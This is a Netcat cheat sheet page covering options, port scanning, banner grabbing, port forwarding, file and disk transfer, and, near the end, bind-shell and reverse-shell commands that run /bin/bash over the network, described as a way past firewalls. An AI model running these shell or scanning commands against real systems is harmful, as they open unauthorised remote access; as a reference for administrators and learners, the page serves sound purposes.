logo
🐧 Linux 命令

Netcat

Netcat Cheat Sheet - 快速参考指南,收录常用语法、命令与实践。

📂 分类 · Linux 命令🧭 Markdown 速查🏷️ 2 个标签
#netcat#network
向下滚动查看内容
返回全部 Cheat Sheets

Getting Started

Usage

Connect to a host located anywhere

SHELL
滚动查看更多
$ nc [options] [host] [port]

Listen for incoming connections

SHELL
滚动查看更多
$ nc -lp port [host] [port]
Option examples
OptionDescriptionExample
-hnc -hHelp
-znc -z 192.168.1.9 1-100Port scan for a host or IP address
-vnc -zv 192.168.1.9 1-100Provide verbose output
-nnc -zn 192.168.1.9 1-100Fast scan by disabling DNS resolution
-lnc -lp 8000TCP Listen mode (for inbound connects)
-wnc -w 180 192.168.1.9 8000Define timeout value
-knc -kl 8000Continue listening after disconnection
-unc -u 192.168.1.9 8000Use UDP instead of TCP
-qnc -q 1 192.168.1.9 8000Client stay up after EOF
-4nc -4 -l 8000IPv4 only
-6nc -6 -l 8000IPv6 only
Chat client-server

Server (192.168.1.9)

SHELL
滚动查看更多
$ nc -lv 8000

Client

SHELL
滚动查看更多
$ nc 192.168.1.9 8000

Netcat Examples

Banner grabbing
SHELL
滚动查看更多
$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1

or

SHELL
滚动查看更多
echo "" | nc -zv -wl 192.168.1.1 801-805
Port scanning

Scan ports between 21 to 25

SHELL
滚动查看更多
$ nc -zvn 192.168.1.1 21-25

Scan ports 22, 3306 and 8080

SHELL
滚动查看更多
$ nc -zvn 192.168.1.1 22 3306 8080
Proxy and port forwarding
SHELL
滚动查看更多
$ nc -lp 8001 -c "nc 127.0.0.1 8000"

or

SHELL
滚动查看更多
$ nc -l 8001 | nc 127.0.0.1 8000

Create a tunnel from one local port to another

Download file

Server (192.168.1.9)

SHELL
滚动查看更多
$ nc -lv 8000 < file.txt

Client

SHELL
滚动查看更多
$ nc -nv 192.168.1.9 8000 > file.txt

Suppose you want to transfer a file “file.txt” from server A to client B.

Upload file

Server (192.168.1.9)

SHELL
滚动查看更多
$ nc -lv 8000 > file.txt

Client

SHELL
滚动查看更多
$ nc 192.168.1.9 8000 < file.txt

Suppose you want to transfer a file “file.txt” from client B to server A:

Directory transfer

Server (192.168.1.9)

SHELL
滚动查看更多
$ tar -cvf – dir_name | nc -l 8000

Client

SHELL
滚动查看更多
$ nc -n 192.168.1.9 8000 | tar -xvf -

Suppose you want to transfer a directory over the network from A to B.

Encrypt transfer

Server (192.168.1.9)

SHELL
滚动查看更多
$ openssl enc -des3 -in file.txt -pass pass:password | nc -l 8000

Client

SHELL
滚动查看更多
$ nc 192.168.1.9 8000 | openssl enc -des3 -d -pass pass:password -out file.txt

Encrypt data before transfering over the network

Clones

Server (192.168.1.9)

SHELL
滚动查看更多
$ dd if=/dev/sda | nc -l 8000

Client

SHELL
滚动查看更多
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

Cloning a linux PC is very simple. Suppose your system disk is /dev/sda

Video streaming

Server (192.168.1.9)

SHELL
滚动查看更多
$ cat video.avi | nc -l 8000

Client

SHELL
滚动查看更多
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

Streaming video with netcat

Remote shell

Server (192.168.1.9)

SHELL
滚动查看更多
$ nc -lv 8000 -e /bin/bash

Client

SHELL
滚动查看更多
$ nc 192.168.1.9 8000

We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission to install them, then we can create remote shell using netcat also.

Reverse shell

Server (192.168.1.9)

SHELL
滚动查看更多
$ nc -lv 8000

Client

SHELL
滚动查看更多
$ nc 192.168.1.9 8000 -v -e /bin/bash

Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections

相关 Cheat Sheets

1v1免费职业咨询
logo

Follow Us

linkedinfacebooktwitterinstagramweiboyoutubebilibilitiktokxigua

We Accept

/image/layout/pay-paypal.png/image/layout/pay-visa.png/image/layout/pay-master-card.png/image/layout/pay-airwallex.png/image/layout/pay-alipay.png

地址

Level 10b, 144 Edward Street, Brisbane CBD(Headquarter)
Level 2, 171 La Trobe St, Melbourne VIC 3000
四川省成都市武侯区桂溪街道天府大道中段500号D5东方希望天祥广场B座45A13号
Business Hub, 155 Waymouth St, Adelaide SA 5000

Disclaimer

footer-disclaimerfooter-disclaimer

JR Academy acknowledges Traditional Owners of Country throughout Australia and recognises the continuing connection to lands, waters and communities. We pay our respect to Aboriginal and Torres Strait Islander cultures; and to Elders past and present. Aboriginal and Torres Strait Islander peoples should be aware that this website may contain images or names of people who have since passed away.

匠人学院网站上的所有内容,包括课程材料、徽标和匠人学院网站上提供的信息,均受澳大利亚政府知识产权法的保护。严禁未经授权使用、销售、分发、复制或修改。违规行为可能会导致法律诉讼。通过访问我们的网站,您同意尊重我们的知识产权。 JR Academy Pty Ltd 保留所有权利,包括专利、商标和版权。任何侵权行为都将受到法律追究。查看用户协议

© 2017-2025 JR Academy Pty Ltd. All rights reserved.

ABN 26621887572